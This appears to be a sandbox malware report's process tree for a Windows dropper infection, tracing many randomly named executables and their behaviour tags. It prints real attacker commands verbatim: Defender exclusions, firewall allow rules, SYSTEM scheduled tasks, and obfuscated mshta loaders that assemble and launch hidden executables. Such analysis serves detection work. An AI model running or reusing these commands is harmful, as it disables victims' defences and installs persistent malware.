C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47189⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.directdexchange.com/jump/next.php?r=42631198⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x120,0x124,0x128,0x11c,0x12c,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47189⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?id=12942318⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47189⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1492888&var=38⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47189⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1343177&var=38⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47189⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?id=13396808⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x120,0x124,0x128,0x11c,0xf8,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47189⤵
-
C:\Users\Admin\AppData\Local\Temp\a8-043c3-fcf-19197-279d89ca406bb\Qaewupipajo.exe"C:\Users\Admin\AppData\Local\Temp\a8-043c3-fcf-19197-279d89ca406bb\Qaewupipajo.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\zJ_78RbGcX8wN8q6wgKCT3vG.exe"C:\Users\Admin\Pictures\Adobe Films\zJ_78RbGcX8wN8q6wgKCT3vG.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\e5_81ErJn0Ym93PqhrkGr7i3.exe"C:\Users\Admin\Pictures\Adobe Films\e5_81ErJn0Ym93PqhrkGr7i3.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\RVZgFGKrpodjmOyxTxoCY0PC.exe"C:\Users\Admin\Pictures\Adobe Films\RVZgFGKrpodjmOyxTxoCY0PC.exe"2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\t4wdw_PUdAsznFnbTFCwWflo.exe"C:\Users\Admin\Pictures\Adobe Films\t4wdw_PUdAsznFnbTFCwWflo.exe"2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\_fWW6dSYhuSjMpGqvSTa94la.exe"C:\Users\Admin\Pictures\Adobe Films\_fWW6dSYhuSjMpGqvSTa94la.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\XHSNfziT2KsSowwmv1yIIaam.exe"C:\Users\Admin\Pictures\Adobe Films\XHSNfziT2KsSowwmv1yIIaam.exe"2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\ZbYou0qF_muiQJ78MDfvFSZN.exe"C:\Users\Admin\Pictures\Adobe Films\ZbYou0qF_muiQJ78MDfvFSZN.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 480 -s 2563⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\ds96Q0O2hYsaSFPFSuR7FFon.exe"C:\Users\Admin\Pictures\Adobe Films\ds96Q0O2hYsaSFPFSuR7FFon.exe"2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\JeyWSIbS2zPPlM7jVjsfXOL1.exe"C:\Users\Admin\Pictures\Adobe Films\JeyWSIbS2zPPlM7jVjsfXOL1.exe"2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\3⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\Exuhh5pkEXSRPTQycRxz7mYl.exe"C:\Users\Admin\Pictures\Adobe Films\Exuhh5pkEXSRPTQycRxz7mYl.exe"2⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\ra9_Z96sgRr2z6Vj0ORA_T8h.exe"C:\Users\Admin\Pictures\Adobe Films\ra9_Z96sgRr2z6Vj0ORA_T8h.exe"2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\ra9_Z96sgRr2z6Vj0ORA_T8h.exe"C:\Users\Admin\Pictures\Adobe Films\ra9_Z96sgRr2z6Vj0ORA_T8h.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\AFGUj2jFQdT0vhNRCxg2qWnX.exe"C:\Users\Admin\Pictures\Adobe Films\AFGUj2jFQdT0vhNRCxg2qWnX.exe"2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\OcwALJ_vaNOQeZJkOk51i7uB.exe"C:\Users\Admin\Pictures\Adobe Films\OcwALJ_vaNOQeZJkOk51i7uB.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\3000981.exe"C:\Users\Admin\AppData\Roaming\3000981.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\4405105.exe"C:\Users\Admin\AppData\Roaming\4405105.exe"3⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\219476.exe"C:\Users\Admin\AppData\Roaming\219476.exe"3⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\1729464.exe"C:\Users\Admin\AppData\Roaming\1729464.exe"3⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Roaming\6965319.exe"C:\Users\Admin\AppData\Roaming\6965319.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe"C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe"2⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\jNA0IsjsQAutlsI9V9Zt01fZ.exe" ) do taskkill -im "%~NxK" -F4⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "jNA0IsjsQAutlsI9V9Zt01fZ.exe" -F5⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP5⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ( "WSCRIPt.SheLl" ). rUn ( "C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " , 0 , TruE ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "8⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY8⤵
-
C:\Users\Admin\Pictures\Adobe Films\X2gXy8LCNWLuqkou2FagCvPP.exe"C:\Users\Admin\Pictures\Adobe Films\X2gXy8LCNWLuqkou2FagCvPP.exe"2⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\kumYLzCG2ehUAJWkmvsWzAp4.exe"C:\Users\Admin\Pictures\Adobe Films\kumYLzCG2ehUAJWkmvsWzAp4.exe"2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\jS2HCNWIivkeoQbQ2iYkljiu.exe"C:\Users\Admin\Pictures\Adobe Films\jS2HCNWIivkeoQbQ2iYkljiu.exe"2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\Assumptions.exe"C:\Users\Admin\AppData\Local\Temp\Assumptions.exe"3⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" #cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit4⤵
- Blocklisted process makes network request
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"5⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /f /sc minute /rl highest /mo 1 /tn "Superintendency" /tr "C:\Windows\system32\WindowsPro\svchost.exe"4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\7zS0756CD05\Tue132dd525eb51d2.exeTue132dd525eb51d2.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\HDfowmS1HOxGwHBKJLIKVYen.exe"C:\Users\Admin\Pictures\Adobe Films\HDfowmS1HOxGwHBKJLIKVYen.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\BdMicUma9WC2BoePKvML9Okg.exe"C:\Users\Admin\Pictures\Adobe Films\BdMicUma9WC2BoePKvML9Okg.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5844 -s 2403⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\XHSNfziT2KsSowwmv1yIIaam.exe"C:\Users\Admin\Pictures\Adobe Films\XHSNfziT2KsSowwmv1yIIaam.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\Exuhh5pkEXSRPTQycRxz7mYl.exe"C:\Users\Admin\Pictures\Adobe Films\Exuhh5pkEXSRPTQycRxz7mYl.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\X09aTGVNxnNUNXoUuk0G6cKs.exe"C:\Users\Admin\Pictures\Adobe Films\X09aTGVNxnNUNXoUuk0G6cKs.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Documents\RAt7KXGzZ0EtWZzG4kTxWPfj.exe"C:\Users\Admin\Documents\RAt7KXGzZ0EtWZzG4kTxWPfj.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\7HmnPzSW_dD0zppd4K_lt5w8.exe"C:\Users\Admin\Pictures\Adobe Films\7HmnPzSW_dD0zppd4K_lt5w8.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\3U8HRnfhJA7DYaw8t7_kPLcq.exe"C:\Users\Admin\Pictures\Adobe Films\3U8HRnfhJA7DYaw8t7_kPLcq.exe" /mixtwo4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8060 -s 2365⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\ZRzsyabQNx2_hMONvJ2GfWpA.exe"C:\Users\Admin\Pictures\Adobe Films\ZRzsyabQNx2_hMONvJ2GfWpA.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7948 -s 2365⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\Pictures\Adobe Films\fjZrJvw2GBz1H2gDxuEpfq0v.exe"C:\Users\Admin\Pictures\Adobe Films\fjZrJvw2GBz1H2gDxuEpfq0v.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\fjZrJvw2GBz1H2gDxuEpfq0v.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\fjZrJvw2GBz1H2gDxuEpfq0v.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )5⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\fjZrJvw2GBz1H2gDxuEpfq0v.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\fjZrJvw2GBz1H2gDxuEpfq0v.exe" ) do taskkill -f -iM "%~NxM"6⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "10⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "fjZrJvw2GBz1H2gDxuEpfq0v.exe"7⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\S5MS4DOJ1zUlEYZfMB_2ywgZ.exe"C:\Users\Admin\Pictures\Adobe Films\S5MS4DOJ1zUlEYZfMB_2ywgZ.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\kmOkPkL7mouml0efilDwN0KW.exe"C:\Users\Admin\Pictures\Adobe Films\kmOkPkL7mouml0efilDwN0KW.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\LqoNB7mX_7endqY3JHRfqVxW.exe"C:\Users\Admin\Pictures\Adobe Films\LqoNB7mX_7endqY3JHRfqVxW.exe"4⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=15⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--b78Osr"6⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7fffd481dec0,0x7fffd481ded0,0x7fffd481dee07⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1740,5339814396308307638,9931796329726741258,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5508_1158976773" --mojo-platform-channel-handle=1804 /prefetch:87⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1740,5339814396308307638,9931796329726741258,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5508_1158976773" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1756 /prefetch:27⤵
-
C:\Users\Admin\Pictures\Adobe Films\vcLVoq88rUq3Ti9nSvcRiSOA.exe"C:\Users\Admin\Pictures\Adobe Films\vcLVoq88rUq3Ti9nSvcRiSOA.exe"4⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Users\Admin\AppData\Roaming\3530335.exe"C:\Users\Admin\AppData\Roaming\3530335.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\5688749.exe"C:\Users\Admin\AppData\Roaming\5688749.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\6228704.exe"C:\Users\Admin\AppData\Roaming\6228704.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\1974349.exe"C:\Users\Admin\AppData\Roaming\1974349.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\7150835.exe"C:\Users\Admin\AppData\Roaming\7150835.exe"5⤵
-
C:\Users\Admin\Pictures\Adobe Films\F_Ar3NRP59gcBdo_n0Vjasrq.exe"C:\Users\Admin\Pictures\Adobe Films\F_Ar3NRP59gcBdo_n0Vjasrq.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
